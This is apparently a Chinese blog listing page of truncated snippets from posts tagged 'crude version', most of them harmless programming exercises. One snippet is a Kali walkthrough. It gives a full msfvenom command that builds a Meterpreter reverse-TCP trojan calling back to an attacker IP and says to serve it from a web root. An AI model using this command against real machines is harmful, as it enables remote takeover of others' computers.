简陋专题

第一次写购物车,很是简陋。

# 买家 卖家 商品 金钱#把货物放在货架上li = [{'name': '苹果', 'price': 10},{'name': '香蕉', 'price': 20},{'name': '西瓜', 'price': 30}]shopping_car = {}print('欢迎光临大铁锤水果店~~')money = input('让我看看你的钱:')if money.isdigi

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.19 lport=1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启  service

使用Vue调用ColaAI Plus大模型,实现聊天(简陋版)

首先去百度文心注册申请自己的api 官网地址:LuckyCola 注册点开个人中心 查看这个文档自己申请一个ColaAI Plus定制增强大模型API | LuckyColahttps://luckycola.com.cn/public/docs/shares/api/colaAi.html来到vue的页面 写个样式 <template><Header title="智能问答"/>

Unity之闪电侠大战蓝毒兽(简陋的战斗系统)

目录 🎨一、创建地形 🎮二、创建角色 🏃2.1 动画 🏃2.2 拖尾  🏃2.3 角色控制  ​🏃2.4 技能释放 🏃2.5 准星 📱三、创建敌人 🐲3.1 选择模型 🐲3.2 敌人动画器  🐲3.3 敌人脚本 💤四、杂谈 新年好啊大家,开工大吉,一起摸鱼!经过小编一个月摸鱼的努力,本篇给自己学到的知识做一个汇总和应用。效果如下动图所示:

Unity之闪电侠大战蓝毒兽(简陋的战斗系统)

目录 🎨一、创建地形 🎮二、创建角色 🏃2.1 动画 🏃2.2 拖尾  🏃2.3 角色控制  ​🏃2.4 技能释放 🏃2.5 准星 📱三、创建敌人 🐲3.1 选择模型 🐲3.2 敌人动画器  🐲3.3 敌人脚本 💤四、杂谈 新年好啊大家,开工大吉,一起摸鱼!经过小编一个月摸鱼的努力,本篇给自己学到的知识做一个汇总和应用。效果如下动图所示:

简陋的龟兔赛跑

//模拟龟兔赛跑 //先到达30为胜利者 #include<iostream> #include<string> #include<ctime> #include<cmath> using namespace std; int getRand(int num) {     return (rand()%num+1); } int move_tortoise(int num

用touchstart、touchmove、touchend简陋实现左右滑动【触摸事件】

touchstart事件:当一开始触摸时所获取触发的【就算不滑动也会触发】 touchend事件:当离开触摸屏时所触发的事件 touchmove事件:当你触摸时滑动时连续发生的事件 刚开始触碰,目的要实现互动在一定的范围内滑动一个图标,超过一定的值时跳转到下一页。 要实现该效果的图标【这里我是在类里面用背景图放入我需要的图片】 <a href="javascript:;" class="p

web音乐商城简陋版项目总结(sevlet+jsp+mysql)

这次的web项目是做一个音乐商城,目的是巩固下最近java ee学习的内容。  有点头皮发麻,做一个响应式网站,完全不知道从何做起,开始的时候做servlet响应,就无脑一个请求对应一个servlet,并且这个sevlet内容,从获取请求到交互数据全在一个类中实现。 protected void doGet(HttpServletRequest req, HttpServletResp

人工神经网络太简陋了,《Science》揭露,神经元树突也隐含计算能力

本篇文章是博主在人工智能等领域学习时,用于个人学习、研究或者欣赏使用,并基于博主对人工智能等领域的一些理解而记录的学习摘录和笔记,若有不当和侵权之处,指出后将会立即改正,还望谅解。文章分类在学习摘录和笔记专栏:         学习摘录和笔记(13)---《人工神经网络太简陋了,《Science》揭露,神经元树突也隐含计算能力》 人工神经网络太简陋了,《Science》揭露

人工神经网络太简陋了,《Science》新作揭露,神经元树突也隐含计算能力

2020-01-19 16:10 导语:树突也能执行XOR计算 雷锋网(公众号:雷锋网)AI科技评论按:人类某些神经元的树突,可以执行之前认为需要整个神经网络才能完成的逻辑运算。 目前对于计算机科学家来讲,人工神经网络构建,往往基于这样一个概念:神经元是一个简单的、非智能的开关,神经网络的信息处理来源于数万(数万亿)个神经元之间的连接。 然后神经科学家对于人脑的研究发现却并不是如此。在

一次简陋的页面登录练习

看着有点丑,果然我还是不太适合写前端哈 <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=

HTML页面小项目(简陋版)

<!DOCTYPE html><head><meta charset="UTF-8"><meta name="viewport" content="wideth=device-width,initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>练习</title></head><body>

【简陋Web应用2】人脸检测——基于Flask和PaddleHub

文章目录 🚩 前言🌺 效果演示🥦 分析与设计🍉 实现🍬 1. 部署人脸检测模型🍭 2. 使用Flask构建app2.1 目录结构2.2 forms.py2.3 utils.py2.4 app.py2.5 index.html 🥝 Bug(s) 🚩 前言 本次实现了一个在浏览器中运行的简陋的人脸检测功能,由于水平有限,这里使用表单上传图片,只能一次检测一张人

数据结构——C语言版 图书管理系统(简陋版)

数据结构——C语言版 图书管理系统(简陋版) 这是一个关于数据结构的博客,主要目的是综合运用C语言的知识,达到巩固之前所学的所有知识。以图书管理系统为例,做一个简陋版本的。此篇博客仅供参考,如有问题还请各路大神多多指教。 图书管理系统要求 (由于本人实力有限,选做部分功能并未实现,后期若有时间一定补上!) Part-1 结构体定义 const int M=0x3f3f3f; //

仿B站超简陋评论模块(留言+删除)

运行结果截图   CSS样式 <style>* {margin: 0;padding: 0;box-sizing: border-box;}li {list-style: none;}.comment-send {margin: 100px auto;width: 1200px;}.user-face {position: absolute;width: 65px;height: 6

一个简陋的代码生成器

由于最近工作任务多,但是开发的内容却是千篇一律的接口开发。所以为了能够学以致用,也为了能够减少浪费生命在无效的业务工作中。于是我决定开发一个自己专用的业务代码生成工具。     说干就干,考虑到目前所用的框架结构为springboot + dubbo。于是我需要生成大概6个文件。分别是消费者工程中的controller,req请求实体类。api工程中的响应实体类mall,服务接口se